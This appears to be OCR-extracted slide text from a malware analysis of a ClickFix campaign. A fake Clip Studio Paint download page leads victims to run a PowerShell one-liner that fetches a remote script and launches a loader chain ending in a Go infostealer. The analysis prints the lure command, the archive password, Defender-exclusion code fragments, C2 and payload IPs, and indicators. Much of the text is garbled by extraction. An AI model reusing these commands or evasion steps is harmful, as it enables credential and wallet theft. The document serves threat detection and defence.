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The Threat at a Glance

Malware sample collected from MalwareBazaar that submitted on 4th July 2026

Firstseen (UTC) | SHA256 hash Tags Signature = Reporter

2026-07-04 04:22:27 (D 20d47fa34fh6c5841bbe... EEa 3 8 aachum
2026-07-04 04:21:18 [0 3fc02d5534d74a38elef... (LG 8 aachum
2026-07-04 04:20:46 [ 9e60a5852a7a673b708... @ aachum

ClickFix: A technique attempts to lure victim to run malicious commands on the
device.

Vidar: Infostealer malware operating as malware-as-a-service, first discovered in
late 2018, direct evolution of Arkei trojan. Vidar malware runs on Windows and its
objective is to collect wide range of sensitive data from browsers and digital
wallets


https://bazaar.abuse.ch/browse/tag/softmix-online/

Infection Chain Overview

PLATFORM | WINDOWS 10/11 = MAX  EDITION  SECURE DOWNLOAD RAW PRO

TOP | RATED | QUICK SETUP

Setup Wizard

Clip Studio Paint 2026 EX

EX illustration tools - Animation timeline - All brush modules

I n Stal I EX illustration tools - Animation timeline - All brush modules
All Features - Pro Build - Windows - Deployment

Run one PowerShell command as Administrator. Download and setup S

Clip Studio EX - Animation tools - All brush libraries

start automatically.

1. Open PowerShell as Administrator

2. Copy the command below INSTALLATION

1. Open PowerShell as Administrator

3. Paste, press Enter, confirm UAC

2. Paste and run:

COMMAND irm https://softmix.online/ps/setup.psi | iex

3. Confirm UAC (Yes) — setup runs automatically
4. Wait until the installer finishes

//softmix.online/ps/setup.psl | ie

FEATURES

#= RAW pipeline — Develop, retouch and export pro photos. @ Color tools — Grading, presets and local
adjustments included. @ Offline studio — Works locally after setup. & Windows optimized — Built for
photography workstations. & Catalog workflow — Libraries and batch export supported. 44 Premium modules —
Pro editing features enabled. 4 One-command install — PowerShell handles setup automatically.

https://shorturl.at/\V\cWCO https://shorturl.at/2o0H{Y

Windows 10/11 - Internet required - Administrator rights



https://shorturl.at/VcWCO
https://shorturl.at/2oHjY

Infection C

Runs

irm h

setup.ps1 | iex
VICTIM VISITS Epe|

softmix.online

e/ps/

hain Overview

n STAGE 1 — PowerShell Bootstrapper (.ps1)

Requests UAC elevation

Downloads 7za.exe and setup.zip
from softmix.online/ps

Extracts password-protected archive
(7za -p"ReleaseV2.1&*")

Executes Installer_x64.exe /S

T1059.001

{2}»

(]

*D*[%*

B} sTAGE2—Nsis Installer T1027.002

[%

. dard NSIS b P

* $PLUGINSDIR: nsis7z.dll,
StdUtils.dll, System.dll

+ Extracts app-64.7z (LZMA2,
~265 MB, 75 files)

« Launches Installer.exe

'

B} sTAGE 3 — Electron Runtime
(Installer.exe)

Chromium / Electron

(silent, hidden) 7za.exe setup.zip Extracts Installer_x64.exe 5
(password protected) /5 (silent) (Electron runtime)
n STAGE 4 — JavaScript Controller (main.js) 0 A I < D

Collects host information (OS, user, PC, locale, etc.)

« Loads resources/app/main.js
* Runs hidden BrowserWindow

+ Captures desktop screenshot

« Checks Administrator privileges
* Relaunches elevated if necessary .

+ Obtains public IP and geolocation

Sends victim information to Telegram Bot API
Stores hash to prevent duplicate notifications

>
* Receives victim info
* Screen capture
«+ Public IP & Geo
« System details

v

v

B STAGE 5 — Defense Evasion

T1562.001

Defender

P

« WMI (Add-MpPreference)

* PowerShell (Add-MpPreference)
« Registry modifications

« Verifies exclusions

u STAGE 6 — Payload Retrieval

T1105

Downloads payload from remote server
| http://62.60.226.198/uploads/
5df66d1d1d5343828aeadScea2b76c5¢. exe

STAGE 7 — Payload Execution

T1204.002

Executes payload using 6 redundant methods

+ spawn() «+ rundlI32 url.dll,FileProtocolHandler
« PowerShell Start-Process

+ VBA/VBS script launcher

+ cmd.exe /c start

+ explorer.exe

(

v

(8]
L)

W05

LEGEND

) user/Browser
D il / Archive
| {8} Erecutable

@ Network / Internet

@ Defense Evasion

© commandacControl

B coin

Af Malicious Payload

FINAL PAYLOAD — Information Stealer
Payload: payload.exe

OB

url”: “http://62.60.226. 76c5c.exe”, Steals browser data, credentials,
"name": "payload.exe" cookies, cryptocurrency wallets
and other sensitive information.
MITRE ATT&CK TACTICS INVOLVED
Initial Access Execution Defense Evasion Discovery Command & Control Exfiltration
1190 LI0S9.001 T1562.001 T1082 Ti105 T1555

T1059.007

0 TELEGRAM C2



Dropper: setup.ps1

Imin = ([S rity.Principal.WindowsPrincipall [Security.Principal.WindowsIdentity]: :GetCurrent()).IsInRole(

tart-Process powershell RunAs
c) { $proc.ExitCode }

User Account Control X
e Checks current Powershell session is running with Do you want to allow this app to make
Administrator privileged E=naso¥euEdevice !

e [f is not elevated, relaunches Powershell with
triggering UAC prompt

E Windows PowerShell

Verified publisher: Microsoft Windows

Program location: "C:\Windows\System32\WindowsPowerShell
\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -
Command & { SProgressPreference="SilentlyContinue'; irm
‘https://softmix.online/ps/setup.ps1’ | iex }

Show information about the publisher’s certificate

Change when these notifications appear

Hide details

Yes No



Dropper: setup.ps1

oObhwp=

Hidden
.ExitCode
.ExitCode))

iroc.ExitCode) { $proc.ExitCode }

3010) {

Downloads 7za.exe from https://softmix.online/ps/7za.exe
Downloads password zip file from https://softmix.online/ps/setup.zip
Utilizing 7za.exe to extract setup.zip with password ReleaseV2.1&*
After extraction, silent execution of Installer_x64.exe

All stages happen in % TEMP%\ps_<hex>\

Hidden




Loader: NSIS + Electron app

e Installer_x64.exe launches NSIS
package installer

e Execution of NSIS installer will prompt
UAC for further execution

e Unpack electron app that executes
malicious Javascript code

e Victim accept UAC, electron app
executes under administrator
privileges

User Account Control

Do you want to allow this app from an
unknown publisher to make changes to your
device?

Installer.exe

Publisher: Unknown

File origin: Hard drive on this computer

Program location: "C:\Users\flare-vm\AppData\Local\Temp
\3G14ubmROJOhqDdn8BcK9D0zx8y\Installer.exe"”

Change when these notifications appear

Hide details

Yes No



Loader: NSIS + Electron app

CONFIG = -

fetchPublicIp
Tglive.ip) fetchGeoFromIp(TgLive
Tglive.1 ing
Promise resolve
t = setInterval
TgLive.ip) A

clearInterval(t
fetchGeoFromIp(TglLive.i

setTimeout

clearInterval(t

fetchGeoFromIp(TglLive
26000 )

'cache”, Date.now

function
TgLive

resolve(TglLive.1i

esolve(TgLive

.ToString

Reconnaissance through public
IP using multiple service such as
api.ipify, ifconfig.me, ipinfo.io and
icanhazip

Collect hostname, username,
screenshots and upload to
Telegram C2



https://www.abuseipdb.com/check/62.60.226.198

Loader: NSIS + Electron app

Three methods of Windows Defender Evasion
1. Through Powershell cmdlets target installation directory
2. Registry-based exclusions
3. WMI exclusions
psCmds =

forEach
psCmds.push("Add-MpPreference -ExclusionPath '"

ons.forEach
psCmds.push("Add

ses . forEach

psCmds.push("Add-MpPreference -ExclusionProcess '" +

psCmds. ¢ :
encoded = Buffer :
exec( 'powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ' + encoded,
‘ true, timeout: 2000 ‘ ‘ 1 resolve




Loader: NSIS + Electron app

Multiple redundant execution paths:
NodedS spawn child function
cmd.exe /c start

explorer.exe

rundll32.exe

Powershell Start-Process
VBScript Launcher

Improve the likelihood for final
payload execution




Payload: Go Infostealer

v PE64
EESEEZS é:(t;;:z.;g)::fc«s‘vwm 64-bit, GUI] e 64 bit executable compiled with Golang
Language: Go e Obfuscated with Garble

Sign tool: Windows Authenticode(2.0)[PKCS #7]

e 0y e Through static analysis resolved function is
ertificate: WinAuth(2.0) =7 . . .
64 bit SplitMix64 by observable constant

Symbols Q main * A2 =

~ Address Section

in.(*glmwnose) .oayejgpo

.(*gqlmwnose) . tcnfhof

. (*qlmwnose) .wtrrmwdtdo

.(*gqlmwnose) .xfirifdy

.(*qlmwnose) .xtcabfpyzof.. 8x

.Ynweptnum

.Zjbghaghsjetfhnzl

.ashrkmdx11ligftbgh

.atnktrdfng

.atxdiqyvqfmypfhunwau

.fahntskaugyov

.huspsj

.ifecveeoeamm

.ifecveeoeamm.ifecveeoea.. Bx

.init

. jsekgkzhqdxtkrzb

.1buieqckwp

.1pdb

.1rcpvlvensefxgjdf

.main

.oyfuxoicfyk

.pawvzaduuv

.qyhmgay

.qzbbayc

.rujoewjdnggix

rcx = -0x61c8864680b583eb + *(uint64_t*)arg3;

rbx_4 = (rex >> Bxle * rcx) * -0x40a/b892e31b1a47;

rbx_6 (rbx_4 *» rbx_4 >> Bx1b) * -0x6b2fb644ecceeel5;
int64 rbx_8 = (rbx_6 * rbx_6 >> 8x1f) % Bxa;
*(uint64_t*)arg3 = rcx;

int128_t* rax_1;

rax_1 =
runtime.makeslice(rbx_8, zmml, &data_7ff78b3c8daB, rbx_8, a
4_t rdi_3 = rbx_8;




Payload: Go Infostealer With dynamic analysis:

e Browser credential theft activity
D — through Chrome’s Login Data,

X0r eax,ecx

mov dword ptr ds:[1A0220760],eax H H
mov eax,dword ptr ds:[uozzoiso] eSSIOn IS Ory
test ris,ris ris:"https://steamcommunity.com/profiles/76561198680197300" 4

j& 1A000E39A

test ris,ris3 13:"https://5.75.217.106"
je MOOOé;SA & at . MetaMaSk

mov ri2d,dword ptr ss:|[Erbp+D0J

HEB000E’  sosareon (nkbihfbeogaeaoehlefnkodbef
lea esi,qword ptr ds:[rdi+40]

e e e gpgknn) confirmed by ID; set

Xor ecx,27E7998A
add gax,gcx i ]
mov dword ptr ds:[1A0220760],eax m t h th t d d
mov eax,dword ptr ds:[Mozzo%so] a C eS e S an ar
mov ecx,dword ptr ds:[1A0220760]
shr eax,s8

add eax,BCB598D8 CryptO'Wa”et +

Xor ecx,eax
mov dword ptr ds:[1A0220760],ecx

noy Soxidmord ber dz: F1Absaoree] password-manager target list
har

G e Marked compromised machine

mov dword ptr ds:[1A0220760],ecx

:‘é‘? ;g:gzg:g gg: ﬂifﬁﬁiiﬁélo] r15+3C4: "AD5F6F34615DCCFF1ES 9-764e2840-6622-E568542" Wlth reg|Stry marker Wlth Value
Siil ggizéosescoo

By Bymerole oSN e CAE9234 and E56B542
e Multiple C2 connection,
5.75.217.106, 149.154.167.99,
23.199.145.221




Indicators & Detection Opportunities

The Pyramid of Pain

Aﬁ““""
mm""”“‘“"

S"“"‘
IP Address
AT

YARA Rules for softmix.online payloads:
https://github.com/shreethaar/yara-rules/tree/main/softmix-online-vidar-clickfix.yar



https://github.com/shreethaar/yara-rules/tree/main/softmix-online-vidar-clickfix.yar

Indicators & Detection Opportunities

Hash Values
(SHA256)

IP Address

Domain Names

Network Host /
Artifacts

MITRE TTP

setup.ps1: 9e60a5852a7a673b7084f7cda25385c04a4ef1a5841b85862b3df193f39b988¢
Installer_x64.exe: 3fc02d5534d74a38e1ef4b6121818ce3358bbe1e9a823f7e6¢c741e9d1911¢cc48
payload.exe: 20d47fa34fb6c5841bbebead796b7b9fcc3f6920ef9d3be0530978f0cbcbedd7

5.75.217.106 (Vidar C2)
62.60.226.198 (Loader host)
149.154.167.99 (Telegram C2)
23.199.145.221 (Akamai)

softmix.online

Registry marker: HKCU\.. \Explorer\TS_[8hex]

Defender exclusion keys: HKLM\...\Windows Defender\Exclusions\Paths
Telegram dedup marker: net_*.dat

Unpacked 2nd stage directory path: % TEMP%\<random>\

ClickFix: irm | iex -> paste and run command (T1204.004)
Defender neutrailzation via exclusions (T1562.001)
Browser credentials theft (T1555)


https://attack.mitre.org/techniques/T1204/004/
https://attack.mitre.org/versions/v16/techniques/T1562/001/
https://attack.mitre.org/techniques/T1555/

